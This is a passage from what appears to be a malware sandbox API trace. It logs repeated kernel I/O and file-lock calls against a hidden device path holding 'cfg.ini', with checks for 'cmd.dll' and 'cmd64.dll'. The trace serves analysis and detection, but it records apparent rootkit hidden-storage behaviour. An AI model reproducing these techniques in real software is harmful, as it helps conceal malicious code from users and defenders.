KeLeaveCriticalRegion () [0126.599] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.599] KeEnterCriticalRegion () [0126.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.599] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.599] IdePortDispatch () returned 0x103 [0126.599] KeWaitForMutexObject () returned 0x0 [0126.599] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.599] KeLeaveCriticalRegion () [0126.599] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.599] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.599] KeEnterCriticalRegion () [0126.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.599] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f7000 [0126.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.599] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.599] IdePortDispatch () returned 0x103 [0126.599] KeWaitForMutexObject () returned 0x0 [0126.600] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.600] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.600] IdePortDispatch () returned 0x103 [0126.600] KeWaitForMutexObject () returned 0x0 [0126.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.600] KeLeaveCriticalRegion () [0126.600] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.600] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.600] KeEnterCriticalRegion () [0126.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.600] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.600] KeLeaveCriticalRegion () [0126.600] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.601] KeEnterCriticalRegion () [0126.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.601] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.601] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac6420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.601] KeLeaveCriticalRegion () [0126.601] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.601] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.601] KeEnterCriticalRegion () [0126.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.601] ExFreePoolWithTag (P=0xfffffa8002adc210, Tag=0x0) [0126.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.601] KeLeaveCriticalRegion () [0126.601] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.601] ReleaseMutex (hMutex=0xf0) returned 1 [0126.601] Sleep (dwMilliseconds=0x124f80) [0126.615] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.615] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.615] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.616] KeEnterCriticalRegion () [0126.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.616] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.616] IdePortDispatch () returned 0x103 [0126.616] KeWaitForMutexObject () returned 0x0 [0126.616] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.616] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.616] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.616] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.616] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.616] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac6360 [0126.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.616] KeLeaveCriticalRegion () [0126.616] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.616] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.616] KeEnterCriticalRegion () [0126.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.616] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.616] KeLeaveCriticalRegion () [0126.616] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.616] KeEnterCriticalRegion () [0126.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.616] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.616] IdePortDispatch () returned 0x103 [0126.616] KeWaitForMutexObject () returned 0x0 [0126.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.617] KeLeaveCriticalRegion () [0126.617] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.617] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.617] KeEnterCriticalRegion () [0126.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034fc000 [0126.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.617] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.617] IdePortDispatch () returned 0x103 [0126.617] KeWaitForMutexObject () returned 0x0 [0126.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.617] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.617] IdePortDispatch () returned 0x103 [0126.617] KeWaitForMutexObject () returned 0x0 [0126.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.618] KeLeaveCriticalRegion () [0126.618] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.618] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.618] KeEnterCriticalRegion () [0126.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.618] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.618] KeLeaveCriticalRegion () [0126.618] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.618] KeEnterCriticalRegion () [0126.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.618] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.618] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adc420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.618] KeLeaveCriticalRegion () [0126.618] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.618] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.618] KeEnterCriticalRegion () [0126.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.618] ExFreePoolWithTag (P=0xfffffa8003ac6360, Tag=0x0) [0126.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.618] KeLeaveCriticalRegion () [0126.618] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.618] ReleaseMutex (hMutex=0xf0) returned 1 [0126.618] Sleep (dwMilliseconds=0x124f80) [0126.629] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.635] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.635] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.635] KeEnterCriticalRegion () [0126.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.638] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.638] IdePortDispatch () returned 0x103 [0126.638] KeWaitForMutexObject () returned 0x0 [0126.638] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.638] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.638] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.638] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.638] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.638] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc360 [0126.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.638] KeLeaveCriticalRegion () [0126.638] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.638] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.638] KeEnterCriticalRegion () [0126.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.638] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.638] KeLeaveCriticalRegion () [0126.638] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.638] KeEnterCriticalRegion () [0126.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.638] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.638] IdePortDispatch () returned 0x103 [0126.638] KeWaitForMutexObject () returned 0x0 [0126.639] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.639] KeLeaveCriticalRegion () [0126.639] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.639] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.639] KeEnterCriticalRegion () [0126.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.639] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a1000 [0126.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.639] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.639] IdePortDispatch () returned 0x103 [0126.639] KeWaitForMutexObject () returned 0x0 [0126.639] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.639] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.639] IdePortDispatch () returned 0x103 [0126.639] KeWaitForMutexObject () returned 0x0 [0126.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.639] KeLeaveCriticalRegion () [0126.639] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.640] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.640] KeEnterCriticalRegion () [0126.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.640] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.640] KeLeaveCriticalRegion () [0126.640] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.640] KeEnterCriticalRegion () [0126.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.640] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.640] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac6420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.640] KeLeaveCriticalRegion () [0126.640] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.640] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.640] KeEnterCriticalRegion () [0126.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.640] ExFreePoolWithTag (P=0xfffffa8002adc360, Tag=0x0) [0126.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.640] KeLeaveCriticalRegion () [0126.640] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.640] ReleaseMutex (hMutex=0xf0) returned 1 [0126.640] Sleep (dwMilliseconds=0x124f80) [0126.655] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.655] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.655] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.655] KeEnterCriticalRegion () [0126.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.655] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.655] IdePortDispatch () returned 0x103 [0126.655] KeWaitForMutexObject () returned 0x0 [0126.655] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.655] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.655] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.655] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.655] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.655] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac63b0 [0126.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.656] KeLeaveCriticalRegion () [0126.656] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.656] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.656] KeEnterCriticalRegion () [0126.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.656] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.656] KeLeaveCriticalRegion () [0126.656] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.656] KeEnterCriticalRegion () [0126.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.656] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.656] IdePortDispatch () returned 0x103 [0126.656] KeWaitForMutexObject () returned 0x0 [0126.656] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.656] KeLeaveCriticalRegion () [0126.656] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.656] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.656] KeEnterCriticalRegion () [0126.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.656] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a6000 [0126.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.656] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.656] IdePortDispatch () returned 0x103 [0126.656] KeWaitForMutexObject () returned 0x0 [0126.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.657] MmProbeAndLockPages (in: 